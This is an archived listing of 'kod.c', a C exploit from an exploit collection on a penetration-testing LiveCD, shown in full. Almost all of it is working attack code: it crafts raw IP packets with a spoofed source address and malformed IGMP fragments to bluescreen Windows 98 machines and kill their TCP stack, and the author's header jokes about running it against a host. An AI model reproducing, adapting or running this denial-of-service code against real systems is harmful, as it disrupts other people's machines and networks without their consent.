home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / kod.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  172 lines

  1.  
  2. /*
  3. ::: kod.c (kiss of death) version 1.2
  4. ::: [author] kod.c bug found by klepto /
  5. klepto@levitate.net / rewritten by ignitor / ignitor@EFnet
  6. ::: [stuph ] works on bsd/linux/*nix
  7. ::: [notes ] bluescreens windows users(98/98se) and kills
  8. tcp stack
  9. ::: [m$ bug] windows handles igmp badly and this is the
  10. result
  11. ::: [greets]
  12. amputee/nizda/nyt/ignitor/skyline/codelogic/ill`/conio/egotr
  13. ip/TFreak/napster
  14. ::: [greets] dist(test monkey)/naz(you rule period.)/#havok/
  15. #irc_addict/#kgb/#eof/everyone
  16. ::: [action] ./kod <host> and BEWM!
  17. ::: [rant  ] there will be lots of rewrites to this.. just
  18. get our name right!
  19. de omnibus dubitandum
  20. */
  21.  
  22. /*
  23. windows core dump output (*whee*)
  24. An exception 0E has occurred at 0028:C14C9212 in VxD VIP
  25. (01) +
  26. 00006C72.  This was called from 0028:C183FF54 in VcD PPPMAC
  27. (04) +
  28. 000079BR.  It may be possible to continue normally(*not*).
  29. */
  30.  
  31.  
  32. #include <stdio.h>
  33. #include <string.h>
  34. #include <stdlib.h>
  35. #include <netinet/in.h>
  36. #include <netdb.h>
  37. #include <sys/time.h>
  38. #include <sys/types.h>
  39. #include <sys/socket.h>
  40. #include <arpa/inet.h>
  41. #include <unistd.h>
  42.  
  43. struct iphdr
  44. {
  45.   unsigned char ihl:4, version:4, tos;
  46.   unsigned short tot_len, id, frag_off;
  47.   unsigned char ttl, protocol;
  48.   unsigned short check;
  49.   unsigned int saddr, daddr;
  50. };
  51.  
  52. struct igmphdr
  53. {
  54.   unsigned char type, code;
  55.   unsigned short cksum;
  56.   struct in_addr group;
  57. };
  58.  
  59. unsigned short in_chksum(unsigned short *, int);
  60. long resolve(char *);
  61.  
  62. long resolve(char *host)
  63. {
  64.   struct hostent *hst;
  65.   long addr;
  66.  
  67.   hst = gethostbyname(host);
  68.   if (hst == NULL)
  69.     return(-1);
  70.  
  71.   memcpy(&addr, hst->h_addr, hst->h_length);
  72.  
  73.   return(addr);
  74. }
  75.  
  76. int main(int argc, char *argv[])
  77. {
  78.   struct sockaddr_in dst;
  79.   struct iphdr *ip;
  80.   struct igmphdr *igmp;
  81.   long daddr, saddr;
  82.   int s, i=0, c, len;
  83.   char buf[1500];
  84.  
  85.   if (argc < 3)
  86.   {
  87.     printf("KOD spoofer by Ignitor and klepto\n");
  88.     printf("Usage: %s <src> <dst>\n", *argv);
  89.     return(1);
  90.   }
  91.  
  92.   daddr = resolve(argv[2]);
  93.   saddr = resolve(argv[1]);
  94.  
  95.   memset(buf, 0, 1500);
  96.   ip = (struct iphdr *)&buf;
  97.   igmp = (struct igmphdr *)&buf[sizeof(struct iphdr)];
  98.  
  99.   dst.sin_addr.s_addr = daddr;
  100.   dst.sin_family = AF_INET;
  101.  
  102.   ip->ihl = 5;
  103.   ip->version = 4;
  104.   ip->tos = 0;
  105.   ip->tot_len = htons(10933);
  106.   ip->id = htons(48648);
  107.   ip->ttl = 64;
  108.   ip->protocol = IPPROTO_IGMP;
  109.   ip->check = in_chksum((unsigned short *)ip, sizeof(struct
  110. iphdr));
  111.   ip->saddr = saddr;
  112.   ip->daddr = daddr;
  113.  
  114.   s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  115.   if (s == -1)
  116.     return(1);
  117.  
  118.   printf("Sending IGMP packets: %s -> %s\n", argv[1], argv
  119. [2]);
  120.  
  121.   for (c=0;c<2;c++)
  122.   {
  123.     len = 220;
  124.     ip->frag_off = htons(0x73a);
  125.  
  126.     for (i=0;;i++)
  127.     {
  128.       if (sendto(s,&buf,len,0,(struct sockaddr *)&dst,sizeof
  129. (struct sockaddr_in)) == -1)
  130.       {
  131.         perror("Error sending packet");
  132.         exit(-1);
  133.       }
  134.       if (ntohs(ip->frag_off) == 0x2000)
  135.         break;
  136.       len = 1500;
  137.       if (!i)
  138.         ip->frag_off = htons(0x2681);
  139.       else
  140.         ip->frag_off = htons(ntohs(ip->frag_off) - 185);
  141.  
  142.       ip->check = in_chksum((unsigned short *)ip, sizeof
  143. (struct iphdr));
  144.     }
  145.   }
  146.  
  147.   return(1);
  148. }
  149.  
  150. unsigned short in_chksum(unsigned short *addr, int len)
  151. {
  152.    register int nleft = len;
  153.    register int sum = 0;
  154.    u_short answer = 0;
  155.  
  156.    while (nleft > 1) {
  157.       sum += *addr++;
  158.       nleft -= 2;
  159.    }
  160.  
  161.    if (nleft == 1) {
  162.       *(u_char *)(&answer) = *(u_char *)addr;
  163.       sum += answer;
  164.    }
  165.  
  166.    sum = (sum >> 16) + (sum & 0xffff);
  167.    sum += (sum >> 16);
  168.    answer = ~sum;
  169.    return(answer);
  170. }
  171.  
  172.